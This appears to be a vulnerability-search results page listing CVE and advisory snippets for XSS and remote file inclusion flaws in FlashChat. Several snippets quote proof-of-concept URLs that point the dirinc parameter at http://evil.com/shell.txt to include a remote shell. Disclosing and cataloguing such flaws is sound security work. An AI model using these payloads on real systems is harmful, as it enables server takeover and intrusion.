85 matches found
CVE-2007-0834
Cross-site scripting XSS vulnerability in FlashChat 4.7.8 allows remote attackers to inject arbitrary web script or HTML via the user name field when the user joins a chat room, a different vulnerability than CVE-2007-0807. NOTE: the provenance of this information is unknown; the details are...
Cross site scripting
Cross-site scripting XSS vulnerability in FlashChat 4.7.8 allows remote attackers to inject arbitrary web script or HTML via the user name field when the user joins a chat room, a different vulnerability than CVE-2007-0807. NOTE: the provenance of this information is unknown; the details are...
CVE-2007-0834
The CVE-2007-0834 entry describes a Cross-Site Scripting (XSS) vulnerability in FlashChat 4.7.8. The flaw allows remote attackers to inject arbitrary web script or HTML via the user name field when a user joins a chat room (the vulnerability is distinct from CVE-2007-0807). Affected product: Flas...
CVE-2007-0834
Cross-site scripting XSS vulnerability in FlashChat 4.7.8 allows remote attackers to inject arbitrary web script or HTML via the user name field when the user joins a chat room, a different vulnerability than CVE-2007-0807. NOTE: the provenance of this information is unknown; the details are...
Cross site scripting
Cross-site scripting XSS vulnerability in info.php in flashChat 4.7.8 allows remote attackers to inject arbitrary web script or HTML via a channel title aka room name that is not properly handled by the "who's online" feature...
CVE-2007-0807
CVE-2007-0807 affects flashChat 4.7.8. Vulnerability: cross-site scripting (XSS) in info.php where the channel title (room name) is not properly handled by the “who’s online” feature, allowing remote attackers to inject arbitrary web script or HTML. The description and linked sources confirm the ...
CVE-2007-0807: Undefined Security Weakness
Cross-site scripting XSS vulnerability in info.php in flashChat 4.7.8 allows remote attackers to inject arbitrary web script or HTML via a channel title aka room name that is not properly handled by the "who's online" feature...
CVE-2007-0834: Undefined Security Weakness
Cross-site scripting XSS vulnerability in FlashChat 4.7.8 allows remote attackers to inject arbitrary web script or HTML via the user name field when the user joins a chat room, a different vulnerability than CVE-2007-0807. NOTE: the provenance of this information is unknown; the details are...
flashChat 4.7.8 Cross Site Scripting Vulnerability
/ Flashchat 4.7.8 / Date of written Advisory: February 04, 2007 Product: Flash Chat = 4.7.8 Vendor: http://tufat.com/ Description: flashChat is a highly customizable PHP/MySQL based chat room script that is easily integrated into a website and mimics IRC in it's command structure Exploits /...
flashChat 4.7.8 Cross Site Scripting Vulnerability
/ Flashchat 4.7.8 / Date of written Advisory: February 04, 2007 Product: Flash Chat = 4.7.8 Vendor: http://tufat.com/ Description: flashChat is a highly customizable PHP/MySQL based chat room script that is easily integrated into a website and mimics IRC in it's command structure Exploits /...
FlashChat多个远程文件包含漏洞
No description provided by source...
flashchat.txt
NeXtMaN Here are 2 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt? http://site.com/scriptpath/inc/cmses/aedatingCMS2.php?dirinc=http://evil.com/shell.txt? video here: Code:...
CVE-2006-4583
Multiple PHP remote file inclusion vulnerabilities in FlashChat before 4.6.2 allow remote attackers to execute arbitrary PHP code via a URL in the dirinc parameter in 1 inc/cmses/aedatingCMS.php, 2 inc/cmses/aedatingCMS2.php, or 3 inc/cmses/aedating4CMS.php...
CVE-2006-4583
Multiple PHP remote file inclusion vulnerabilities in FlashChat before 4.6.2 allow remote attackers to execute arbitrary PHP code via a URL in the dirinc parameter in 1 inc/cmses/aedatingCMS.php, 2 inc/cmses/aedatingCMS2.php, or 3 inc/cmses/aedating4CMS.php...
CVE-2006-4583
FlashChat before 4.6.2 contains multiple PHP remote file inclusion vulnerabilities that allow remote attackers to execute arbitrary PHP code via a URL in the dir[inc] parameter of inc/cmses/aedatingCMS.php, inc/cmses/aedatingCMS2.php, or inc/cmses/aedating4CMS.php. Root cause is improper handling...
CVE-2006-4583: Improper Control of Generation of Code
Multiple PHP remote file inclusion vulnerabilities in FlashChat before 4.6.2 allow remote attackers to execute arbitrary PHP code via a URL in the dirinc parameter in 1 inc/cmses/aedatingCMS.php, 2 inc/cmses/aedatingCMS2.php, or 3 inc/cmses/aedating4CMS.php...
FlashChat <= 4.5.7 (aedating4CMS.php) Remote File Include Vulnerability
No description provided by source. NeXtMaN mc.nadz at gmail.com Here are 3 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt?...
FlashChat <= 4.5.7 (aedating4CMS.php) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ======================================================================= FlashChat Here are 3 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt?...
FlashChat 4.5.7 - aedating4CMS.php Remote File Inclusion
FlashChat 4.5.7 - aedating4CMS.php Remote File Inclusion NeXtMaN Here are 3 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt?...
FlashChat &lt;= 4.5.7 (aedating4CMS.php) Remote File Include Vulnerability
NeXtMaN mc.nadz at gmail.com Here are 2 RFI vulnerabilities in Flashchat i've found: Code: http://site.com/scriptpath/inc/cmses/aedating4CMS.php?dirinc=http://evil.com/shell.txt? http://site.com/scriptpath/inc/cmses/aedatingCMS2.php?dirinc=http://evil.com/shell.txt? video here: Code:...